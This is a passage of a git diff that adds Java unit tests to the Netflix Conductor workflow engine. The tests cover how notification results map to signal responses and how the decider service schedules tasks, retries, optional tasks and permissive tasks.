.blockingTasks(new ArrayList<>()) + .build(); + + // When + SignalResponse response = + result.toResponse(WorkflowSignalReturnStrategy.BLOCKING_TASK, requestId); + + // Then + assertNull(response); // Should return null for BLOCKING_TASK when no tasks present + } + + @Test + public void testToResponse_EmptyBlockingTasks_BlockingTaskInputStrategy() { + // Given + NotificationResult result = + NotificationResult.builder() + .targetWorkflow(targetWorkflow) + .blockingWorkflow(blockingWorkflow) + .blockingTasks(new ArrayList<>()) + .build(); + + // When + SignalResponse response = + result.toResponse(WorkflowSignalReturnStrategy.BLOCKING_TASK_INPUT, requestId); + + // Then + assertNull(response); // Should return null for BLOCKING_TASK_INPUT when no tasks present + } + + @Test + public void testToResponse_EmptyBlockingTasks_NullBlockingTasks() { + // Given + NotificationResult result = + NotificationResult.builder() + .targetWorkflow(targetWorkflow) + .blockingWorkflow(blockingWorkflow) + .blockingTasks(null) + .build(); + + // When + SignalResponse response = + result.toResponse(WorkflowSignalReturnStrategy.TARGET_WORKFLOW, requestId); + + // Then + assertNotNull(response); + assertTrue(response instanceof WorkflowRun); + } + + @Test + public void testToResponse_WithBlockingTasks_TargetWorkflowStrategy() { + // Given + List blockingTasks = new ArrayList<>(); + blockingTasks.add(blockingTask); + + NotificationResult result = + NotificationResult.builder() + .targetWorkflow(targetWorkflow) + .blockingWorkflow(blockingWorkflow) + .blockingTasks(blockingTasks) + .build(); + + // When + SignalResponse response = + result.toResponse(WorkflowSignalReturnStrategy.TARGET_WORKFLOW, requestId); + + // Then + assertNotNull(response); + assertTrue(response instanceof WorkflowRun); + WorkflowRun workflowRun = (WorkflowRun) response; + assertEquals(targetWorkflow.getWorkflowId(), workflowRun.getWorkflowId()); + assertEquals(targetWorkflow.getWorkflowId(), workflowRun.getTargetWorkflowId()); + assertEquals(requestId, workflowRun.getRequestId()); + assertEquals(WorkflowSignalReturnStrategy.TARGET_WORKFLOW, workflowRun.getResponseType()); + } + + @Test + public void testToResponse_WithBlockingTasks_BlockingWorkflowStrategy() { + // Given + List blockingTasks = new ArrayList<>(); + blockingTasks.add(blockingTask); + + NotificationResult result = + NotificationResult.builder() + .targetWorkflow(targetWorkflow) + .blockingWorkflow(blockingWorkflow) + .blockingTasks(blockingTasks) + .build(); + + // When + SignalResponse response = + result.toResponse(WorkflowSignalReturnStrategy.BLOCKING_WORKFLOW, requestId); + + // Then + assertNotNull(response); + assertTrue(response instanceof WorkflowRun); + WorkflowRun workflowRun = (WorkflowRun) response; + assertEquals(blockingWorkflow.getWorkflowId(), workflowRun.getWorkflowId()); + assertEquals(targetWorkflow.getWorkflowId(), workflowRun.getTargetWorkflowId()); + assertEquals(requestId, workflowRun.getRequestId()); + assertEquals(WorkflowSignalReturnStrategy.BLOCKING_WORKFLOW, workflowRun.getResponseType()); + } + + @Test + public void testToResponse_WithBlockingTasks_BlockingTaskStrategy() { + // Given + List blockingTasks = new ArrayList<>(); + blockingTasks.add(blockingTask); + + NotificationResult result = + NotificationResult.builder() + .targetWorkflow(targetWorkflow) + .blockingWorkflow(blockingWorkflow) + .blockingTasks(blockingTasks) + .build(); + + // When + SignalResponse response = + result.toResponse(WorkflowSignalReturnStrategy.BLOCKING_TASK, requestId); + + // Then + assertNotNull(response); + assertTrue(response instanceof TaskRun); + TaskRun taskRun = (TaskRun) response; + assertEquals(blockingTask.getTaskId(), taskRun.getTaskId()); + assertEquals(blockingTask.getReferenceTaskName(), taskRun.getReferenceTaskName()); + assertEquals(targetWorkflow.getWorkflowId(), taskRun.getTargetWorkflowId()); + assertEquals(requestId, taskRun.getRequestId()); + assertEquals(WorkflowSignalReturnStrategy.BLOCKING_TASK, taskRun.getResponseType()); + } + + @Test + public void testToResponse_WithBlockingTasks_BlockingTaskInputStrategy() { + // Given + List blockingTasks = new ArrayList<>(); + blockingTasks.add(blockingTask); + + NotificationResult result = + NotificationResult.builder() + .targetWorkflow(targetWorkflow) + .blockingWorkflow(blockingWorkflow) + .blockingTasks(blockingTasks) + .build(); + + // When + SignalResponse response = + result.toResponse(WorkflowSignalReturnStrategy.BLOCKING_TASK_INPUT, requestId); + + // Then + assertNotNull(response); + assertTrue(response instanceof TaskRun); + TaskRun taskRun = (TaskRun) response; + assertEquals(blockingTask.getTaskId(), taskRun.getTaskId()); + assertEquals(blockingTask.getReferenceTaskName(), taskRun.getReferenceTaskName()); + assertEquals(targetWorkflow.getWorkflowId(), taskRun.getTargetWorkflowId()); + assertEquals(requestId, taskRun.getRequestId()); + assertEquals(WorkflowSignalReturnStrategy.BLOCKING_TASK_INPUT, taskRun.getResponseType()); + } + + @Test + public void testToResponse_WithMultipleBlockingTasks() { + // Given - Multiple blocking tasks, should return first one + List blockingTasks = new ArrayList<>(); + TaskModel task1 = createTask("task1", "WAIT", TaskModel.Status.IN_PROGRESS); + TaskModel task2 = createTask("task2", "SIMPLE", TaskModel.Status.COMPLETED); + blockingTasks.add(task1); + blockingTasks.add(task2); + + NotificationResult result = + NotificationResult.builder() + .targetWorkflow(targetWorkflow) + .blockingWorkflow(blockingWorkflow) + .blockingTasks(blockingTasks) + .build(); + + // When + SignalResponse response = + result.toResponse(WorkflowSignalReturnStrategy.BLOCKING_TASK, requestId); + + // Then + assertNotNull(response); + assertTrue(response instanceof TaskRun); + TaskRun taskRun = (TaskRun) response; + assertEquals(task1.getTaskId(), taskRun.getTaskId()); // Should return first task + assertEquals(task1.getReferenceTaskName(), taskRun.getReferenceTaskName()); + } + + @Test + public void testGetWorkflowRun_AllFieldsSet() { + // Given + List blockingTasks = new ArrayList<>(); + blockingTasks.add(blockingTask); + + NotificationResult result = + NotificationResult.builder() + .targetWorkflow(targetWorkflow) + .blockingWorkflow(blockingWorkflow) + .blockingTasks(blockingTasks) + .build(); + + // When + SignalResponse response = + result.toResponse(WorkflowSignalReturnStrategy.TARGET_WORKFLOW, requestId); + + // Then + WorkflowRun workflowRun = (WorkflowRun) response; + assertEquals(targetWorkflow.getWorkflowId(), workflowRun.getWorkflowId()); + assertEquals(requestId, workflowRun.getRequestId()); + assertEquals(targetWorkflow.getCorrelationId(), workflowRun.getCorrelationId()); + assertEquals(targetWorkflow.getInput(), workflowRun.getInput()); + assertEquals(targetWorkflow.getOutput(), workflowRun.getOutput()); + assertEquals(targetWorkflow.getCreatedBy(), workflowRun.getCreatedBy()); + assertEquals(targetWorkflow.getPriority(), workflowRun.getPriority()); + assertEquals(targetWorkflow.getVariables(), workflowRun.getVariables()); + assertEquals( + Workflow.WorkflowStatus.valueOf(targetWorkflow.getStatus().name()), + workflowRun.getStatus()); + assertNotNull(workflowRun.getTasks()); + assertEquals(targetWorkflow.getTasks().size(), workflowRun.getTasks().size()); + } + + @Test + public void testToTaskRun_AllFieldsSet() { + // Given + TaskModel task = createTask("testTask", "SIMPLE", TaskModel.Status.COMPLETED); + task.setTaskDefName("simpleTaskDef"); + task.setWorkflowType("testWorkflowType"); + task.setReasonForIncompletion("N/A"); + task.setWorkflowPriority(5); + task.setCorrelationId("corr456"); + task.setWorkerId("worker123"); + task.setRetryCount(2); + task.setRetriedTaskId("retriedTask789"); + + List blockingTasks = new ArrayList<>(); + blockingTasks.add(task); + + NotificationResult result = + NotificationResult.builder() + .targetWorkflow(targetWorkflow) + .blockingWorkflow(blockingWorkflow) + .blockingTasks(blockingTasks) + .build(); + + // When + SignalResponse response = + result.toResponse(WorkflowSignalReturnStrategy.BLOCKING_TASK, requestId); + + // Then + TaskRun taskRun = (TaskRun) response; + assertEquals(task.getTaskType(), taskRun.getTaskType()); + assertEquals(task.getTaskId(), taskRun.getTaskId()); + assertEquals(task.getReferenceTaskName(), taskRun.getReferenceTaskName()); + assertEquals(task.getRetryCount(), taskRun.getRetryCount()); + assertEquals(task.getTaskDefName(), taskRun.getTaskDefName()); + assertEquals(task.getRetriedTaskId(), taskRun.getRetriedTaskId()); + assertEquals(task.getWorkflowType(), taskRun.getWorkflowType()); + assertEquals(task.getReasonForIncompletion(), taskRun.getReasonForIncompletion()); + assertEquals(task.getWorkflowPriority(), taskRun.getPriority()); + assertEquals(task.getWorkflowInstanceId(), taskRun.getWorkflowId()); + assertEquals(task.getCorrelationId(), taskRun.getCorrelationId()); + assertEquals(task.getStatus().name(), taskRun.getStatus().name()); + assertEquals(task.getInputData(), taskRun.getInput()); + assertEquals(task.getOutputData(), taskRun.getOutput()); + assertEquals(task.getWorkerId(), taskRun.getCreatedBy()); + assertEquals(task.getStartTime(), taskRun.getCreateTime()); + assertEquals(task.getUpdateTime(), taskRun.getUpdateTime()); + assertEquals(targetWorkflow.getWorkflowId(), taskRun.getTargetWorkflowId()); + assertEquals(targetWorkflow.getStatus().toString(), taskRun.getTargetWorkflowStatus()); + assertEquals(requestId, taskRun.getRequestId()); + } + + @Test + public void testBuilder_AllFields() { + // Given / When + NotificationResult result = + NotificationResult.builder() + .targetWorkflow(targetWorkflow) + .blockingWorkflow(blockingWorkflow) + .blockingTasks(List.of(blockingTask)) + .build(); + + // Then + assertNotNull(result); + assertEquals(targetWorkflow, result.getTargetWorkflow()); + assertEquals(blockingWorkflow, result.getBlockingWorkflow()); + assertNotNull(result.getBlockingTasks()); + assertEquals(1, result.getBlockingTasks().size()); + } + + @Test + public void testWorkflowRun_TasksCopiedCorrectly() { + // Given + TaskModel task1 = createTask("task1", "SIMPLE", TaskModel.Status.COMPLETED); + TaskModel task2 = createTask("task2", "WAIT", TaskModel.Status.IN_PROGRESS); + targetWorkflow.getTasks().add(task1); + targetWorkflow.getTasks().add(task2); + + List blockingTasks = new ArrayList<>(); + blockingTasks.add(task1); + + NotificationResult result = + NotificationResult.builder() + .targetWorkflow(targetWorkflow) + .blockingWorkflow(blockingWorkflow) + .blockingTasks(blockingTasks) + .build(); + + // When + SignalResponse response = + result.toResponse(WorkflowSignalReturnStrategy.TARGET_WORKFLOW, requestId); + + // Then + WorkflowRun workflowRun = (WorkflowRun) response; + assertNotNull(workflowRun.getTasks()); + assertEquals(2, workflowRun.getTasks().size()); + assertEquals( + task1.getReferenceTaskName(), workflowRun.getTasks().get(0).getReferenceTaskName()); + assertEquals( + task2.getReferenceTaskName(), workflowRun.getTasks().get(1).getReferenceTaskName()); + } + + // Helper methods + private WorkflowModel createWorkflow(String workflowId, WorkflowModel.Status status) { + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowId(workflowId); + workflow.setStatus(status); + workflow.setCorrelationId("corr123"); + workflow.setInput(new HashMap<>()); + workflow.getInput().put("inputKey", "inputValue"); + workflow.setOutput(new HashMap<>()); + workflow.getOutput().put("outputKey", "outputValue"); + workflow.setTasks(new ArrayList<>()); + workflow.setCreatedBy("testUser"); + workflow.setCreateTime(System.currentTimeMillis()); + workflow.setUpdatedTime(System.currentTimeMillis()); + workflow.setPriority(0); + workflow.setVariables(new HashMap<>()); + workflow.getVariables().put("var1", "value1"); + return workflow; + } + + private TaskModel createTask( + String referenceTaskName, String taskType, TaskModel.Status status) { + TaskModel task = new TaskModel(); + task.setTaskId("task-" + referenceTaskName); + task.setReferenceTaskName(referenceTaskName); + task.setTaskType(taskType); + task.setStatus(status); + task.setWorkflowInstanceId("workflow123"); + task.setCorrelationId("corr123"); + task.setInputData(new HashMap<>()); + task.getInputData().put("inputKey", "inputValue"); + task.setOutputData(new HashMap<>()); + task.getOutputData().put("outputKey", "outputValue"); + task.setTaskDefName(taskType); + task.setWorkflowType("testWorkflow"); + task.setWorkerId("worker1"); + task.setStartTime(System.currentTimeMillis()); + task.setUpdateTime(System.currentTimeMillis()); + return task; + } +} diff --git a/core/src/test/java/com/netflix/conductor/core/execution/TestDeciderOutcomes.java b/core/src/test/java/com/netflix/conductor/core/execution/TestDeciderOutcomes.java new file mode 100644 index 0000000..18c9f50 --- /dev/null +++ b/core/src/test/java/com/netflix/conductor/core/execution/TestDeciderOutcomes.java @@ -0,0 +1,689 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution; + +import java.io.InputStream; +import java.time.Duration; +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.Set; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.ComponentScan; +import org.springframework.context.annotation.Configuration; +import org.springframework.core.io.ClassPathResource; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; +import org.springframework.util.unit.DataSize; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.execution.DeciderService.DeciderOutcome; +import com.netflix.conductor.core.execution.evaluators.Evaluator; +import com.netflix.conductor.core.execution.mapper.DecisionTaskMapper; +import com.netflix.conductor.core.execution.mapper.DynamicTaskMapper; +import com.netflix.conductor.core.execution.mapper.EventTaskMapper; +import com.netflix.conductor.core.execution.mapper.ForkJoinDynamicTaskMapper; +import com.netflix.conductor.core.execution.mapper.ForkJoinTaskMapper; +import com.netflix.conductor.core.execution.mapper.HTTPTaskMapper; +import com.netflix.conductor.core.execution.mapper.JoinTaskMapper; +import com.netflix.conductor.core.execution.mapper.SimpleTaskMapper; +import com.netflix.conductor.core.execution.mapper.SubWorkflowTaskMapper; +import com.netflix.conductor.core.execution.mapper.SwitchTaskMapper; +import com.netflix.conductor.core.execution.mapper.TaskMapper; +import com.netflix.conductor.core.execution.mapper.UserDefinedTaskMapper; +import com.netflix.conductor.core.execution.mapper.WaitTaskMapper; +import com.netflix.conductor.core.execution.tasks.Decision; +import com.netflix.conductor.core.execution.tasks.Join; +import com.netflix.conductor.core.execution.tasks.Switch; +import com.netflix.conductor.core.execution.tasks.SystemTaskRegistry; +import com.netflix.conductor.core.execution.tasks.WorkflowSystemTask; +import com.netflix.conductor.core.utils.ExternalPayloadStorageUtils; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.DECISION; +import static com.netflix.conductor.common.metadata.tasks.TaskType.DYNAMIC; +import static com.netflix.conductor.common.metadata.tasks.TaskType.EVENT; +import static com.netflix.conductor.common.metadata.tasks.TaskType.FORK_JOIN; +import static com.netflix.conductor.common.metadata.tasks.TaskType.FORK_JOIN_DYNAMIC; +import static com.netflix.conductor.common.metadata.tasks.TaskType.HTTP; +import static com.netflix.conductor.common.metadata.tasks.TaskType.JOIN; +import static com.netflix.conductor.common.metadata.tasks.TaskType.SIMPLE; +import static com.netflix.conductor.common.metadata.tasks.TaskType.SUB_WORKFLOW; +import static com.netflix.conductor.common.metadata.tasks.TaskType.SWITCH; +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_DECISION; +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_FORK; +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_JOIN; +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_SWITCH; +import static com.netflix.conductor.common.metadata.tasks.TaskType.USER_DEFINED; +import static com.netflix.conductor.common.metadata.tasks.TaskType.WAIT; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertNotSame; +import static org.junit.Assert.assertTrue; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +@ContextConfiguration( + classes = { + TestObjectMapperConfiguration.class, + TestDeciderOutcomes.TestConfiguration.class + }) +@RunWith(SpringRunner.class) +public class TestDeciderOutcomes { + + private DeciderService deciderService; + + @Autowired private Map evaluators; + + @Autowired private ObjectMapper objectMapper; + + @Autowired private SystemTaskRegistry systemTaskRegistry; + + @Configuration + @ComponentScan(basePackageClasses = {Evaluator.class}) // load all Evaluator beans. + public static class TestConfiguration { + + @Bean(TASK_TYPE_DECISION) + public Decision decision() { + return new Decision(); + } + + @Bean(TASK_TYPE_SWITCH) + public Switch switchTask() { + return new Switch(); + } + + @Bean(TASK_TYPE_JOIN) + public Join join() { + return new Join(new ConductorProperties()); + } + + @Bean + public SystemTaskRegistry systemTaskRegistry(Set tasks) { + return new SystemTaskRegistry(tasks); + } + } + + @Before + public void init() { + MetadataDAO metadataDAO = mock(MetadataDAO.class); + systemTaskRegistry = mock(SystemTaskRegistry.class); + + ExternalPayloadStorageUtils externalPayloadStorageUtils = + mock(ExternalPayloadStorageUtils.class); + ConductorProperties properties = mock(ConductorProperties.class); + when(properties.getTaskInputPayloadSizeThreshold()).thenReturn(DataSize.ofKilobytes(10L)); + when(properties.getMaxTaskInputPayloadSizeThreshold()) + .thenReturn(DataSize.ofKilobytes(10240L)); + + TaskDef taskDef = new TaskDef(); + taskDef.setRetryCount(1); + taskDef.setName("mockTaskDef"); + taskDef.setResponseTimeoutSeconds(60 * 60); + when(metadataDAO.getTaskDef(anyString())).thenReturn(taskDef); + ParametersUtils parametersUtils = new ParametersUtils(objectMapper); + Map taskMappers = new HashMap<>(); + taskMappers.put(DECISION.name(), new DecisionTaskMapper()); + taskMappers.put(SWITCH.name(), new SwitchTaskMapper(evaluators)); + taskMappers.put(DYNAMIC.name(), new DynamicTaskMapper(parametersUtils, metadataDAO)); + taskMappers.put(FORK_JOIN.name(), new ForkJoinTaskMapper()); + taskMappers.put(JOIN.name(), new JoinTaskMapper()); + taskMappers.put( + FORK_JOIN_DYNAMIC.name(), + new ForkJoinDynamicTaskMapper( + new IDGenerator(), + parametersUtils, + objectMapper, + metadataDAO, + systemTaskRegistry)); + taskMappers.put( + USER_DEFINED.name(), new UserDefinedTaskMapper(parametersUtils, metadataDAO)); + taskMappers.put(SIMPLE.name(), new SimpleTaskMapper(parametersUtils)); + taskMappers.put( + SUB_WORKFLOW.name(), new SubWorkflowTaskMapper(parametersUtils, metadataDAO)); + taskMappers.put(EVENT.name(), new EventTaskMapper(parametersUtils)); + taskMappers.put(WAIT.name(), new WaitTaskMapper(parametersUtils)); + taskMappers.put(HTTP.name(), new HTTPTaskMapper(parametersUtils, metadataDAO)); + + this.deciderService = + new DeciderService( + new IDGenerator(), + parametersUtils, + metadataDAO, + externalPayloadStorageUtils, + systemTaskRegistry, + taskMappers, + new HashMap<>(), + Duration.ofMinutes(60)); + } + + @Test + public void testWorkflowWithNoTasks() throws Exception { + InputStream stream = new ClassPathResource("./conditional_flow.json").getInputStream(); + WorkflowDef def = objectMapper.readValue(stream, WorkflowDef.class); + assertNotNull(def); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(def); + workflow.setCreateTime(0L); + workflow.getInput().put("param1", "nested"); + workflow.getInput().put("param2", "one"); + + DeciderOutcome outcome = deciderService.decide(workflow); + assertNotNull(outcome); + assertFalse(outcome.isComplete); + assertTrue(outcome.tasksToBeUpdated.isEmpty()); + assertEquals(3, outcome.tasksToBeScheduled.size()); + + outcome.tasksToBeScheduled.forEach(t -> t.setStatus(TaskModel.Status.COMPLETED)); + workflow.getTasks().addAll(outcome.tasksToBeScheduled); + outcome = deciderService.decide(workflow); + assertFalse(outcome.isComplete); + assertEquals(outcome.tasksToBeUpdated.toString(), 3, outcome.tasksToBeUpdated.size()); + assertEquals(2, outcome.tasksToBeScheduled.size()); + assertEquals("DECISION", outcome.tasksToBeScheduled.get(0).getTaskDefName()); + } + + @Test + public void testWorkflowWithNoTasksWithSwitch() throws Exception { + InputStream stream = + new ClassPathResource("./conditional_flow_with_switch.json").getInputStream(); + WorkflowDef def = objectMapper.readValue(stream, WorkflowDef.class); + assertNotNull(def); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(def); + workflow.setCreateTime(0L); + workflow.getInput().put("param1", "nested"); + workflow.getInput().put("param2", "one"); + + DeciderOutcome outcome = deciderService.decide(workflow); + assertNotNull(outcome); + assertFalse(outcome.isComplete); + assertTrue(outcome.tasksToBeUpdated.isEmpty()); + assertEquals(3, outcome.tasksToBeScheduled.size()); + + outcome.tasksToBeScheduled.forEach(t -> t.setStatus(TaskModel.Status.COMPLETED)); + workflow.getTasks().addAll(outcome.tasksToBeScheduled); + outcome = deciderService.decide(workflow); + assertFalse(outcome.isComplete); + assertEquals(outcome.tasksToBeUpdated.toString(), 3, outcome.tasksToBeUpdated.size()); + assertEquals(2, outcome.tasksToBeScheduled.size()); + assertEquals("SWITCH", outcome.tasksToBeScheduled.get(0).getTaskDefName()); + } + + @Test + public void testRetries() { + WorkflowDef def = new WorkflowDef(); + def.setName("test"); + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("test_task"); + workflowTask.setType("USER_TASK"); + workflowTask.setTaskReferenceName("t0"); + workflowTask.getInputParameters().put("taskId", "${CPEWF_TASK_ID}"); + workflowTask.getInputParameters().put("requestId", "${workflow.input.requestId}"); + workflowTask.setTaskDefinition(new TaskDef("test_task")); + + def.getTasks().add(workflowTask); + def.setSchemaVersion(2); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(def); + workflow.getInput().put("requestId", 123); + workflow.setCreateTime(System.currentTimeMillis()); + DeciderOutcome outcome = deciderService.decide(workflow); + assertNotNull(outcome); + + assertEquals(1, outcome.tasksToBeScheduled.size()); + assertEquals( + workflowTask.getTaskReferenceName(), + outcome.tasksToBeScheduled.get(0).getReferenceTaskName()); + + String task1Id = outcome.tasksToBeScheduled.get(0).getTaskId(); + assertEquals(task1Id, outcome.tasksToBeScheduled.get(0).getInputData().get("taskId")); + assertEquals(123, outcome.tasksToBeScheduled.get(0).getInputData().get("requestId")); + + outcome.tasksToBeScheduled.get(0).setStatus(TaskModel.Status.FAILED); + workflow.getTasks().addAll(outcome.tasksToBeScheduled); + + outcome = deciderService.decide(workflow); + assertNotNull(outcome); + + assertEquals(1, outcome.tasksToBeUpdated.size()); + assertEquals(1, outcome.tasksToBeScheduled.size()); + assertEquals(task1Id, outcome.tasksToBeUpdated.get(0).getTaskId()); + assertNotSame(task1Id, outcome.tasksToBeScheduled.get(0).getTaskId()); + assertEquals( + outcome.tasksToBeScheduled.get(0).getTaskId(), + outcome.tasksToBeScheduled.get(0).getInputData().get("taskId")); + assertEquals(task1Id, outcome.tasksToBeScheduled.get(0).getRetriedTaskId()); + assertEquals(123, outcome.tasksToBeScheduled.get(0).getInputData().get("requestId")); + + WorkflowTask fork = new WorkflowTask(); + fork.setName("fork0"); + fork.setWorkflowTaskType(TaskType.FORK_JOIN_DYNAMIC); + fork.setTaskReferenceName("fork0"); + fork.setDynamicForkTasksInputParamName("forkedInputs"); + fork.setDynamicForkTasksParam("forks"); + fork.getInputParameters().put("forks", "${workflow.input.forks}"); + fork.getInputParameters().put("forkedInputs", "${workflow.input.forkedInputs}"); + + WorkflowTask join = new WorkflowTask(); + join.setName("join0"); + join.setType("JOIN"); + join.setTaskReferenceName("join0"); + + def.getTasks().clear(); + def.getTasks().add(fork); + def.getTasks().add(join); + + List forks = new LinkedList<>(); + Map> forkedInputs = new HashMap<>(); + + for (int i = 0; i < 1; i++) { + WorkflowTask wft = new WorkflowTask(); + wft.setName("f" + i); + wft.setTaskReferenceName("f" + i); + wft.setWorkflowTaskType(TaskType.SIMPLE); + wft.getInputParameters().put("requestId", "${workflow.input.requestId}"); + wft.getInputParameters().put("taskId", "${CPEWF_TASK_ID}"); + wft.setTaskDefinition(new TaskDef("f" + i)); + forks.add(wft); + Map input = new HashMap<>(); + input.put("k", "v"); + input.put("k1", 1); + forkedInputs.put(wft.getTaskReferenceName(), input); + } + workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(def); + workflow.getInput().put("requestId", 123); + workflow.setCreateTime(System.currentTimeMillis()); + + workflow.getInput().put("forks", forks); + workflow.getInput().put("forkedInputs", forkedInputs); + + outcome = deciderService.decide(workflow); + assertNotNull(outcome); + assertEquals(3, outcome.tasksToBeScheduled.size()); + assertEquals(0, outcome.tasksToBeUpdated.size()); + + assertEquals("v", outcome.tasksToBeScheduled.get(1).getInputData().get("k")); + assertEquals(1, outcome.tasksToBeScheduled.get(1).getInputData().get("k1")); + assertEquals( + outcome.tasksToBeScheduled.get(1).getTaskId(), + outcome.tasksToBeScheduled.get(1).getInputData().get("taskId")); + task1Id = outcome.tasksToBeScheduled.get(1).getTaskId(); + + outcome.tasksToBeScheduled.get(1).setStatus(TaskModel.Status.FAILED); + for (TaskModel taskToBeScheduled : outcome.tasksToBeScheduled) { + taskToBeScheduled.setUpdateTime(System.currentTimeMillis()); + } + workflow.getTasks().addAll(outcome.tasksToBeScheduled); + + outcome = deciderService.decide(workflow); + assertTrue( + outcome.tasksToBeScheduled.stream() + .anyMatch(task1 -> task1.getReferenceTaskName().equals("f0"))); + + Optional optionalTask = + outcome.tasksToBeScheduled.stream() + .filter(t -> t.getReferenceTaskName().equals("f0")) + .findFirst(); + assertTrue(optionalTask.isPresent()); + TaskModel task = optionalTask.get(); + assertEquals("v", task.getInputData().get("k")); + assertEquals(1, task.getInputData().get("k1")); + assertEquals(task.getTaskId(), task.getInputData().get("taskId")); + assertNotSame(task1Id, task.getTaskId()); + assertEquals(task1Id, task.getRetriedTaskId()); + } + + @Test + public void testOptional() { + WorkflowDef def = new WorkflowDef(); + def.setName("test"); + + WorkflowTask task1 = new WorkflowTask(); + task1.setName("task0"); + task1.setType("SIMPLE"); + task1.setTaskReferenceName("t0"); + task1.getInputParameters().put("taskId", "${CPEWF_TASK_ID}"); + task1.setOptional(true); + task1.setTaskDefinition(new TaskDef("task0")); + + WorkflowTask task2 = new WorkflowTask(); + task2.setName("task1"); + task2.setType("SIMPLE"); + task2.setTaskReferenceName("t1"); + task2.setTaskDefinition(new TaskDef("task1")); + + def.getTasks().add(task1); + def.getTasks().add(task2); + def.setSchemaVersion(2); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(def); + workflow.setCreateTime(System.currentTimeMillis()); + DeciderOutcome outcome = deciderService.decide(workflow); + assertNotNull(outcome); + assertEquals(1, outcome.tasksToBeScheduled.size()); + assertEquals( + task1.getTaskReferenceName(), + outcome.tasksToBeScheduled.get(0).getReferenceTaskName()); + + for (int i = 0; i < 3; i++) { + String task1Id = outcome.tasksToBeScheduled.get(0).getTaskId(); + assertEquals(task1Id, outcome.tasksToBeScheduled.get(0).getInputData().get("taskId")); + + workflow.getTasks().clear(); + workflow.getTasks().addAll(outcome.tasksToBeScheduled); + workflow.getTasks().get(0).setStatus(TaskModel.Status.FAILED); + + outcome = deciderService.decide(workflow); + + assertNotNull(outcome); + assertEquals(1, outcome.tasksToBeUpdated.size()); + assertEquals(1, outcome.tasksToBeScheduled.size()); + + assertEquals(TaskModel.Status.FAILED, workflow.getTasks().get(0).getStatus()); + assertEquals(task1Id, outcome.tasksToBeUpdated.get(0).getTaskId()); + assertEquals( + task1.getTaskReferenceName(), + outcome.tasksToBeScheduled.get(0).getReferenceTaskName()); + assertEquals(i + 1, outcome.tasksToBeScheduled.get(0).getRetryCount()); + } + + String task1Id = outcome.tasksToBeScheduled.get(0).getTaskId(); + + workflow.getTasks().clear(); + workflow.getTasks().addAll(outcome.tasksToBeScheduled); + workflow.getTasks().get(0).setStatus(TaskModel.Status.FAILED); + + outcome = deciderService.decide(workflow); + + assertNotNull(outcome); + assertEquals(1, outcome.tasksToBeUpdated.size()); + assertEquals(1, outcome.tasksToBeScheduled.size()); + + assertEquals( + TaskModel.Status.COMPLETED_WITH_ERRORS, workflow.getTasks().get(0).getStatus()); + assertEquals(task1Id, outcome.tasksToBeUpdated.get(0).getTaskId()); + assertEquals( + task2.getTaskReferenceName(), + outcome.tasksToBeScheduled.get(0).getReferenceTaskName()); + } + + @Test + public void testPermissive() { + WorkflowDef def = new WorkflowDef(); + def.setName("test-permissive"); + + WorkflowTask task1 = new WorkflowTask(); + task1.setName("task0"); + task1.setPermissive(true); + task1.setTaskReferenceName("t0"); + task1.getInputParameters().put("taskId", "${CPEWF_TASK_ID}"); + task1.setTaskDefinition(new TaskDef("task0")); + + WorkflowTask task2 = new WorkflowTask(); + task2.setName("task1"); + task2.setPermissive(true); + task2.setTaskReferenceName("t1"); + task2.setTaskDefinition(new TaskDef("task1")); + + def.getTasks().add(task1); + def.getTasks().add(task2); + def.setSchemaVersion(2); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(def); + workflow.setCreateTime(System.currentTimeMillis()); + DeciderOutcome outcome = deciderService.decide(workflow); + assertNotNull(outcome); + assertEquals(1, outcome.tasksToBeScheduled.size()); + assertEquals( + task1.getTaskReferenceName(), + outcome.tasksToBeScheduled.get(0).getReferenceTaskName()); + + for (int i = 0; i < 3; i++) { + String task1Id = outcome.tasksToBeScheduled.get(0).getTaskId(); + assertEquals(task1Id, outcome.tasksToBeScheduled.get(0).getInputData().get("taskId")); + + workflow.getTasks().clear(); + workflow.getTasks().addAll(outcome.tasksToBeScheduled); + 